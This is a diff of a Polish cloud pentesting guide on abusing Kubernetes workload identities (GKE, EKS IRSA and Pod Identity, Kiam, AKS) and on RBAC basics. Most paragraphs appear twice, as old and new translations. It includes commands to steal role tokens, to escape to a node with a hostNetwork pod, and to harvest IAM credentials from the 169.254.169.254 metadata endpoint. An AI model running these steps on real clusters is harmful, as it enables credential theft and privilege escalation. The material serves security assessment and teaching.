> Jako atakujący wewnątrz K8s powinieneś **szukać SA** z adnotacją **`iam.gke.io/gcp-service-account`**, ponieważ wskazuje to, że SA może uzyskiwać dostęp do czegoś w GCP. Inną opcją byłoby spróbowanie nadużyć każdej KSA w klastrze i sprawdzenie, czy ma dostęp.\
> Z GCP zawsze warto wyliczać bindings i wiedzieć, **jaki dostęp dajesz SA wewnątrz Kubernetes**.
To jest skrypt, który pozwala łatwo **iterować po wszystkich definicjach podów**, **szukając** tej **adnotacji**:
To jest skrypt do łatwego **iterowania po wszystkich definicjach podów** **w poszukiwaniu** tej **adnotacji**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Jednym z (przestarzałych) sposobów przydzielania IAM Roles do Pods jest użycie serwera [**Kiam**](https://github.com/uswitch/kiam) lub [**Kube2IAM**](https://github.com/jtblin/kube2iam). Zasadniczo musisz uruchomić **daemonset** w swoim cluster z **rodzajem uprzywilejowanej IAM role**. Ten daemonset będzie tym, który zapewni dostęp do IAM roles dla Pods, które tego potrzebują.
Przestarzały sposób nadawania IAM Roles dla Pods to użycie [**Kiam**](https://github.com/uswitch/kiam) lub [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Zasadniczo musisz uruchomić **daemonset** w swoim klastrze z **rodzajem uprzywilejowanej IAM role**. Ten daemonset będzie tym, który zapewni dostęp do IAM roles dla pods, które tego potrzebują.
Najpierw musisz skonfigurować **które roles mogą być używane wewnątrz namespace**, a robi się to za pomocą annotation wewnątrz obiektu namespace:
Na początek musisz skonfigurować **które roles mogą być dostępne wewnątrz namespace**, i robisz to za pomocą adnotacji wewnątrz obiektu namespace:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Po skonfigurowaniu namespace z IAM roles, które Pods mogą mieć, możesz **wskazać rolę, którą chcesz dla każdej definicji poda, za pomocą czegoś takiego jak**:
Gdy namespace jest skonfigurowany z rolami IAM, które mogą mieć Pods, możesz **wskazać rolę, której chcesz użyć, w definicji każdego poda, czymś takim jak**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Jako atakujący, jeśli **znajdziesz te adnotacje** w pods lub namespaces albo działający serwer kiam/kube2iam (prawdopodobnie w kube-system), możesz **podszyć się pod każdą rolę**, która jest już **używana przez pods** i więcej (jeśli masz dostęp do konta AWS, wylicz role).
> Jako atakujący, jeśli **znajdziesz te adnotacje** w podach lub namespaceach albo uruchomiony serwer kiam/kube2iam (prawdopodobnie w kube-system), możesz **podszyć się pod każdy r**ole, który jest już **używany przez pody**, i więcej (jeśli masz dostęp do konta AWS, wylicz role).
#### Create Pod with IAM Role
> [!NOTE]
> Rola IAM, którą trzeba wskazać, musi być w tym samym koncie AWS co rola kiam/kube2iam, a ta rola musi mieć możliwość dostępu do niej.
> IAM role, który należy wskazać, musi znajdować się w tym samym koncie AWS co role kiam/kube2iam i ta role musi mieć możliwość uzyskania do niego dostępu.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -198,8 +198,8 @@ To jest **zalecany sposób przez AWS**.
1. Najpierw musisz [utworzyć OIDC provider dla klastra](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Następnie tworzysz IAM role z uprawnieniami, których będzie wymagać SA.
3. Utwórz [trust relationship między IAM role a nazwą SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (albo namespace'y przyznające dostęp do role wszystkim SA w namespace). _Trust relationship będzie głównie sprawdzać nazwę OIDC provider, nazwę namespace i nazwę SA_.
4. Na końcu, **utwórz SA z adnotacją wskazującą ARN role**, a pods uruchomione z tą SA będą miały **dostęp do tokena role**. **Token** jest **zapisywany** w pliku, a path jest określona w **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
3. Utwórz [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (lub namespaces dające dostęp do role wszystkim SA w namespace). _Trust relationship będzie głównie sprawdzać nazwę OIDC provider, nazwę namespace i nazwę SA_.
4. Na koniec, **utwórz SA z annotation wskazującą ARN role**, a pods uruchomione z tym SA będą miały **access to the token of the role**. **token** jest **zapisany** w pliku, a path jest określona w **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,70 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Aby **uzyskać aws using the token** z `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, uruchom:
Aby **uzyskać aws używając tokena** z `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` uruchom:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Jako atakujący, jeśli możesz enumerate K8s cluster, sprawdź **service accounts z tym annotation** aby **escalate do AWS**. Aby to zrobić, po prostu **exec/create** **pod** używając jednego z IAM **privileged service accounts** i ukradnij token.
> Jako attacker, jeśli możesz enumerate K8s cluster, sprawdź **service accounts z tym annotation** aby **escalate to AWS**. Aby to zrobić, po prostu **exec/create** **pod** używając jednego z IAM **privileged service accounts** i ukradnij token.
>
> Ponadto, jeśli jesteś wewnątrz poda, sprawdź zmienne env takie jak **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
> Ponadto, jeśli jesteś wewnątrz pod, sprawdź zmienne env takie jak **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Czasami **Turst Policy roli** może być **bad configured** i zamiast dawać AssumeRole access do oczekiwanego service account, daje go **wszystkim service accounts**. Dlatego, jeśli jesteś w stanie zapisać annotation na kontrolowanym service account, możesz uzyskać dostęp do roli.
> Czasami **Turst Policy of a role** może być **bad configured** i zamiast dawać dostęp AssumeRole do oczekiwanego service account, daje go **all the service accounts**. Dlatego jeśli potrafisz write annotation na kontrolowanym service account, możesz uzyskać dostęp do roli.
>
> Sprawdź **poniższą stronę po więcej informacji**:
> Sprawdź **following page for more information**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### EKS Pod Identity
EKS Pod Identity to nowszy, zarządzany przez AWS sposób powiązania roli IAM z Kubernetes service account bez polegania na tym, że każdy workload wywoła STS z tokenem web identity IRSA. Cluster uruchamia EKS Pod Identity Agent na node, EKS API przechowuje pod identity associations, a AWS SDKs w wybranych pod pobierają credentials przez ścieżkę container credentials provider udostępnianą przez agenta.
Z perspektywy Kubernetes interesujące dowody to nadal relacja między service account i pod, ale sygnały runtime są inne niż w IRSA. Szukaj w pod zmiennych środowiskowych AWS container credential zamiast tylko `AWS_WEB_IDENTITY_TOKEN_FILE`:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
Z AWS wylicz associations, a następnie zmapuj je z powrotem do Kubernetes namespaces i service accounts:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
W powiązanym podzie główne wskaźniki runtime to zmienne dostawcy poświadczeń kontenera wstrzyknięte przez EKS:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
Lokalny endpoint credential zwykle to `http://169.254.170.23/v1/credentials`, a token authorization to projected service account token dla audience `pods.eks.amazonaws.com`. Pamiętaj, że nadal obowiązuje kolejność AWS SDK credential-provider: jeśli statyczne environment credentials albo shared credential files są skonfigurowane wcześniej w łańcuchu, pod może użyć ich zamiast Pod Identity association.
Role Pod Identity zwykle ufają service principal `pods.eks.amazonaws.com` dla `sts:AssumeRole` i `sts:TagSession`. Przejrzyj warunki trust-policy dotyczące request tags, takich jak `kubernetes-namespace`, `kubernetes-service-account` i cluster tags, ponieważ zbyt szerokie warunki mogą sprawić, że jedna reusable role będzie dostępna dla zbyt wielu service accounts. Pod Identity dodaje też session tags do temporary credentials, a te tagi mogą napędzać polityki ABAC, takie jak dostęp do zasobów oparty na `${aws:PrincipalTag/kubernetes-namespace}` lub `${aws:PrincipalTag/kubernetes-service-account}`.
W przypadku cross-account access, Pod Identity association może używać role w tym samym koncie, która następnie chainuje do target role w innym koncie. W takim przypadku przejrzyj obie warstwy: EKS association role i trust/policy role docelowej. Session tags Pod Identity są transitive przez łańcuch ról, więc są użytecznym dowodem do pokazania, który cluster namespace i service account uzyskał dostęp do zdalnego konta.
> [!WARNING]
> Jeśli możesz tworzyć lub modyfikować pods, które używają service account z EKS Pod Identity association, sprawdź, czy ten pod otrzymuje użyteczne AWS permissions. Jeśli bronisz środowiska, alarmuj o nowych pod identity associations, nieoczekiwanym użyciu service account oraz AWS API calls z ról, które powinny być używane tylko przez konkretne workloads.
### EKS governance guardrails
Podczas analizy EKS po stronie AWS pamiętaj, że IAM i AWS Organizations guardrails mogą zablokować niebezpieczną konfigurację klastra, nawet jeśli principal ma szeroko wyglądające uprawnienia EKS. Najnowsze EKS condition keys obejmują ustawienia klastra, takie jak publiczne lub prywatne endpoint access, wersja Kubernetes, secrets-encryption KMS keys, deletion protection, control-plane scaling tier oraz konfiguracja zonal shift. Te klucze mogą być używane w IAM policies lub Service Control Policies, aby wymuszać account-wide cluster baselines.
Ma to znaczenie zarówno dla wpływu ataku, jak i triage. Jeśli principal może wywołać `eks:UpdateClusterConfig`, ale SCP blokuje włączenie publicznego endpointu przez `eks:endpointPublicAccess`, zgłoś próbę ryzykownej akcji i guardrail, który ją zablokował, zamiast twierdzić, że public API exposure faktycznie nastąpiło. Dla obrońców warto alarmować o odrzuconych zmianach konfiguracji EKS, jak i o udanych zmianach, ponieważ odrzucone próby mogą ujawniać przejętą automatyzację, stare admin roles lub reconnaissance przed pivot do mniej chronionego konta.
Przydatne odniesienia:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Find Pods a SAs with IAM Roles in the Cluster
To jest skrypt, który łatwo pozwala **iterate over the all the pods and sas** definitions **looking** for to **annotation**:
To jest skrypt, który pozwala łatwo **iterować przez wszystkie definicje pods i sas** w poszukiwaniu tej **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
Poprzednia sekcja dotyczyła kradzieży IAM Roles za pomocą pods, ale pamiętaj, że **Node of the** K8s cluster będzie **instance inside the cloud**. Oznacza to, że Node bardzo prawdopodobnie będzie miał **IAM role, którą możesz ukraść** (_zwróć uwagę, że zwykle wszystkie nodes w K8s cluster będą miały tę samą IAM role, więc sprawdzanie każdego node osobno może nie być tego warte_).
Poprzednia sekcja dotyczyła kradzieży IAM Roles z użyciem pods, ale pamiętaj, że **Node** klastra K8s będzie **instancją w cloud**. Oznacza to, że Node bardzo prawdopodobnie będzie miał **IAM role, którą możesz ukraść** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_).
Aby uzyskać dostęp do node metadata endpoint, musisz:
- Być w pod i mieć metadata endpoint skonfigurowany na co najmniej 2 tcp hops. To najczęstsza misconfiguration, ponieważ zwykle różne pods w cluster będą potrzebować dostępu do metadata endpoint, aby niczego nie zepsuć, a wiele firm po prostu decyduje się zezwolić na dostęp do metadata endpoint ze wszystkich pods w cluster.
- Być w pod z włączonym `hostNetwork`.
Aby uzyskać dostęp do metadata endpoint nodea, musisz:
- Być w podzie i mieć metadata endpoint skonfigurowany na co najmniej 2 tcp hops. To najczęstsza misconfiguration, ponieważ zwykle różne pody w klastrze będą wymagały dostępu do metadata endpoint, aby nie przerywać działania, a kilka firm po prostu decyduje się zezwolić na dostęp do metadata endpoint z wszystkich pods w klastrze.
- Być w podzie z włączonym `hostNetwork`.
- Uciec na node i uzyskać bezpośredni dostęp do metadata endpoint.
(Należy pamiętać, że metadata endpoint znajduje się zawsze pod adresem 169.254.169.254).
(Pamiętaj, że metadata endpoint zawsze znajduje się pod adresem 169.254.169.254).
W nowszych środowiskach EKS, zweryfikuj node i cluster mode przed założeniem, że pods mogą osiągnąć node instance profile. Amazon Linux 2023 EKS optimized AMIs domyślnie ustawiają IMDS hop limit na 1, a EKS Auto Mode domyślnie włącza `disablePodIMDS`, więc zwykłe pods nie powinny otrzymywać node-role credentials, chyba że operator zmienił te ustawienia albo pod ma inną ścieżkę na poziomie node, taką jak `hostNetwork` lub compromise node. Zalecany pattern to blokowanie dostępu pods do node IMDS i używanie IRSA lub EKS Pod Identity dla AWS permissions workload.
W nowszych środowiskach EKS zweryfikuj tryb node i cluster, zanim założysz, że pods mogą osiągnąć node instance profile. Amazon Linux 2023 EKS optimized AMIs domyślnie ustawiają IMDS hop limit na 1, a EKS Auto Mode domyślnie włącza `disablePodIMDS`, więc zwykłe pody nie powinny dostawać node-role credentials, chyba że operator zmienił te ustawienia albo pod ma inny path na poziomie node, taki jak `hostNetwork` albo compromise node. Zalecany pattern to zablokować dostęp pods do node IMDS i używać IRSA lub EKS Pod Identity do AWS permissions workload.
Aby **escape to the node** możesz użyć następującego polecenia, aby uruchomić pod z włączonym `hostNetwork`:
Aby **uciec na node** możesz użyć następującej komendy, aby uruchomić pod z włączonym `hostNetwork`:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Kradnij IAM Role Token
### Kradzież IAM Role Token
Wcześniej omawialiśmy, jak **dołączać IAM Roles do Pods** albo nawet jak **uciec na Node, aby ukraść IAM Role**, którą instance ma do niego przypisaną.
Wcześniej omówiliśmy, jak **przypisać IAM Roles do Pods** albo nawet jak **uciec do Node, aby ukraść IAM Role**, który instancja ma do niego przypisany.
Możesz użyć następującego skryptu, aby **ukraść** swoje nowo ciężko zdobyte **IAM role credentials**:
Możesz użyć następującego skryptu, aby **ukraść** swoje nowe, ciężko wypracowane **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
W skrócie: jeśli z poda da się **uzyskać dostęp do roli EKS Node IAM role**, to można **przejąć cały klaster kubernetes**.
W skrócie: jeśli z poda można **uzyskać dostęp do EKS Node IAM role**, to można **skompro­mitować cały klaster kubernetes**.
Więcej informacji znajdziesz w [tym poście](https://blog.calif.io/p/privilege-escalation-in-eks). W skrócie, domyślna rola IAM EKS, przypisana domyślnie do nodeów EKS, otrzymuje w klastrze rolę `system:node`. Ta rola jest bardzo interesująca, choć ograniczona przez kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Więcej informacji znajdziesz w [tym poście](https://blog.calif.io/p/privilege-escalation-in-eks). Podsumowując, domyślna IAM EKS role, która jest przypisywana do węzłów EKS, otrzymuje wewnątrz klastra rolę `system:node`. Ta rola jest bardzo interesująca, choć jest ograniczona przez kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
Jednak node zawsze może **generować tokeny dla service accounts** uruchomionych w podach wewnątrz tego nodea. Więc jeśli na node działa pod z uprzywilejowanym service accountem, node może wygenerować token dla tego service accountu i użyć go do podszycia się pod service account, jak w:
Jednak węzeł zawsze może **generować tokens dla service accounts** uruchomionych w podach na tym węźle. Więc jeśli na węźle działa pod z uprzywilejowanym service account, węzeł może wygenerować token dla tego service account i użyć go do podszycia się pod service account, jak w:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -302,11 +345,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \
W AKS trzy ścieżki tożsamości trzymaj rozdzielone podczas assessment:
- **Azure to Kubernetes**: Principals Azure mogą pobierać kubeconfigi użytkownika lub administratora przez Azure Resource Manager, jeśli ich rola Azure RBAC na to pozwala. Lokalne admin kubeconfigi z `az aks get-credentials --admin` są credentialami opartymi na certificate i mogą ominąć normalne zarządzanie użytkownikami/grupami Microsoft Entra, chyba że local accounts są wyłączone.
- **Microsoft Entra to Kubernetes**: Klastery z integracją Entra uwierzytelniają użytkowników, grupy lub service principals przez `kubelogin`/exec kubeconfigs. Końcowa akcja Kubernetes może być autoryzowana przez natywne Kubernetes RBAC albo przez Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Pody powinny normalnie używać Microsoft Entra Workload ID, które wymienia projected Kubernetes service account tokens z Entra przez AKS OIDC issuer i federated identity credentials.
- **Azure to Kubernetes**: Principals Azure mogą pobierać user lub admin kubeconfigs przez Azure Resource Manager, jeśli ich Azure RBAC role na to pozwala. Local admin kubeconfigs z `az aks get-credentials --admin` są credentialami opartymi na certificate i mogą ominąć normalne Microsoft Entra user/group governance, chyba że local accounts są disabled.
- **Microsoft Entra to Kubernetes**: Clusters z integracją Entra authenticate users, groups lub service principals przez `kubelogin`/exec kubeconfigs. Finalna akcja Kubernetes może być authorized przez native Kubernetes RBAC albo przez Azure RBAC for Kubernetes Authorization.
- **Kubernetes to Azure**: Pods powinny normalnie używać Microsoft Entra Workload ID, które exchanges projected Kubernetes service account tokens z Entra przez AKS OIDC issuer i federated identity credentials.
Przydatne sprawdzenia tożsamości AKS z Azure:
Useful AKS identity checks from Azure:
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
@@ -316,12 +359,12 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```
Z Kubernetes, wyszukaj sygnały AKS Workload ID:
Z Kubernetes, szukaj sygnałów AKS Workload ID:
```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
```
Istotne pola Workload ID to zazwyczaj:
Istotne pola Workload ID to zwykle:
```yaml
metadata:
annotations:
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
Nowsze środowiska AKS mogą używać **AKS Identity Bindings** (preview), aby skalować Workload ID w wielu klastrach lub service accounts bez tworzenia jednego federated identity credential na każdy subject. W tym modelu user-assigned managed identity jest powiązany z klastrem AKS, workloady włączają to przez `azure.workload.identity/use-identity-binding: "true"`, a Kubernetes RBAC przyznaje `use-managed-identity` na zasobach `cid.wi.aks.azure.com` nazwanych zgodnie z managed identity client IDs. Szeroki `ClusterRoleBinding` w tym miejscu może ujawnić tę samą tożsamość Azure większej liczbie namespaces, niż oczekiwano, nawet jeśli bezpośrednie federated identity credential subjects wyglądają na wąskie.
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
Jeśli klaster nadal używa przestarzałego modelu Microsoft Entra pod-managed identity, szukaj starych CRD i komponentów NMI/MIC zamiast adnotacji Workload ID:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS nodes are Azure VM scale set instances, więc dostęp na poziomie node lub hosta może ujawnić Azure Instance Metadata Service pod `169.254.169.254`. Nie zakładaj, że zwykły pod powinien otrzymywać poświadczenia node managed identity: najpierw zweryfikuj ustawienia workload identity, legacy pod identity/NMI behavior, użycie hostNetwork, kontrole sieciowe i dostęp do node. Jeśli node identity ma szerokie uprawnienia Azure, kompromitacja node może stać się Azure pivot nawet wtedy, gdy application Workload ID jest poprawnie ograniczony.
Węzły AKS to instancje Azure VM scale set, więc dostęp na poziomie node lub hosta może ujawnić Azure Instance Metadata Service pod `169.254.169.254`. Nie zakładaj, że zwykły pod powinien otrzymywać poświadczenia managed identity węzła: najpierw zweryfikuj ustawienia workload identity, legacy zachowanie pod identity/NMI, użycie hostNetwork, kontrolki sieciowe i dostęp do node. Jeśli tożsamość węzła ma szerokie uprawnienia Azure, kompromitacja node może stać się Azure pivot, nawet gdy application Workload ID jest poprawnie ograniczone.
## References
AKS Automatic i Node Auto-Provisioning (NAP) zmieniają dowody po stronie node, które powinieneś zebrać. AKS Automatic wstępnie konfiguruje kilka domyślnych ustawień production, w tym wsparcie dla Workload ID/OIDC, managed node pools, lockdown node resource group oraz managed behavior aktualizacji. NAP to zarządzany tryb provisioning oparty na Karpenter i używa zasobów Kubernetes, takich jak `NodePool`, `AKSNodeClass` i `NodeClaim`, aby decydować, które node zostaną utworzone dla oczekujących workload. Sprawdź, kto może modyfikować te zasoby, high-impact scheduling controls, privileged pods i szerokie tolerations; sprawdź też, czy node resource group lockdown zablokował bezpośrednie edycje VMSS/load balancer i wymusił zmiany z powrotem przez Kubernetes lub AKS APIs.
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## Referencje
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Role-Based Access Control (RBAC)
Kubernetes ma **moduł autoryzacji o nazwie Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)), który pomaga ustawiać uprawnienia użycia do API server.
Kubernetes ma **moduł autoryzacji o nazwie Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)), który pomaga ustawiać uprawnienia użycia dla API server.
Model uprawnień RBAC jest zbudowany z **trzech oddzielnych części**:
@@ -14,47 +14,55 @@ Model uprawnień RBAC jest zbudowany z **trzech oddzielnych części**:
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
Różnica między “**Roles**” a “**ClusterRoles**” polega tylko na tym, gdzie role będą stosowane “**Role**” przyznaje dostęp tylko do **jednego** **określonego** **namespace**, podczas gdy “**ClusterRole**” może być używany we **wszystkich namespaces** w klastrze. Co więcej, **ClusterRoles** mogą również przyznawać dostęp do:
Różnica między “**Roles**” a “**ClusterRoles**” polega tylko na tym, gdzie role będą zastosowane “**Role**” przyzna dostęp tylko do **jednej** **konkretnej** **namespace**, podczas gdy “**ClusterRole**” może być użyty we **wszystkich namespaces** w klastrze. Ponadto, **ClusterRoles** mogą również przyznawać dostęp do:
- zasobów **cluster-scoped** (jak nodes).
- endpointów **non-resource** (jak /healthz).
- zasobów namespaced (jak Pods), **we wszystkich namespaces**.
- zasobów **cluster-scoped** (takich jak nodes).
- punktów końcowych **non-resource** (takich jak /healthz).
- namespaced resources (takich jak Pods), **we wszystkich namespaces**.
Od **Kubernetes** 1.6 wzwyż polityki **RBAC****włączone domyślnie**. Ale aby włączyć RBAC, możesz użyć czegoś takiego:
Od **Kubernetes** 1.6 wzwyż polityki **RBAC****włączone domyślnie**. Ale aby włączyć RBAC, możesz użyć czegoś takiego jak:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
Nowoczesne klastry mogą też konfigurować chain autoryzacji API servera za pomocą `--authorization-config`, który wskazuje na plik `AuthorizationConfiguration`. Ten plik może definiować uporządkowane authorizers, wiele webhook authorizers, timeouty webhooków, `failurePolicy`, ustawienia cache oraz CEL `matchConditions`, które decydują, które requests są wysyłane do webhooka. Podczas security review nie zatrzymuj się na `--authorization-mode`, jeśli obecny jest `--authorization-config`: przeczytaj wskazany plik i sprawdź, czy webhook może fail open z `NoOpinion`, czy match conditions pomijają wrażliwe resources oraz czy wszystkie repliki API server używają równoważnej konfiguracji autoryzacji.
Sprawdź też konfigurację authentication podczas przeglądania anonimowej ekspozycji API. `--authentication-config` może ograniczać anonymous authenticator do konkretnych paths, takich jak `/livez`, `/readyz` i `/healthz`. Anonimowy dostęp do health endpointów nie jest tym samym co anonimowy dostęp do Kubernetes resources; niebezpieczny stan to ścieżka RBAC lub authorizer, która pozwala `system:anonymous` albo `system:unauthenticated` odczytywać lub modyfikować real API objects.
Na koniec traktuj członkostwo w `system:masters` jako równoważne cluster-admin. Użytkownicy lub certyfikaty w tej grupie mają nieograniczony dostęp do API, który omija zwykłe ograniczenia RBAC i webhook authorization, więc mappings tożsamości, które dodają tę grupę, mogą być ważniejsze niż zwykły wynik RoleBinding.
## Templates
W template **Role** lub **ClusterRole** musisz wskazać **name** roli, **namespace** (w rolach), a następnie **apiGroups**, **resources** i **verbs** roli:
W template **Role** lub **ClusterRole** musisz wskazać **name roli**, **namespace** (w roles), a następnie **apiGroups**, **resources** i **verbs** roli:
- **apiGroups** to tablica zawierająca różne **API namespaces**, do których stosuje się ta reguła. Na przykład definicja Pod używa apiVersion: v1. _Może mieć wartości takie jak rbac.authorization.k8s.io lub \[\*]_.
- **resources** to tablica, która definiuje, **do jakich resources ta reguła ma zastosowanie**. Wszystkie resources możesz znaleźć za pomocą: `kubectl api-resources --namespaced=true`
- **verbs** to tablica zawierająca **dozwolone verbs**. Verb w Kubernetes definiuje **typ akcji**, którą musisz zastosować wobec resource. Na przykład verb list jest używany wobec kolekcji, podczas gdy "get" jest używany wobec pojedynczego resource.
- **apiGroups** to tablica zawierająca różne **API namespaces**, do których ta reguła ma zastosowanie. Na przykład definicja Pod używa apiVersion: v1. _Może mieć wartości takie jak rbac.authorization.k8s.io albo \[\*]_.
- **resources** to tablica definiująca **do jakich resources ma zastosowanie ta reguła**. Wszystkie resources możesz znaleźć poleceniem: `kubectl api-resources --namespaced=true`
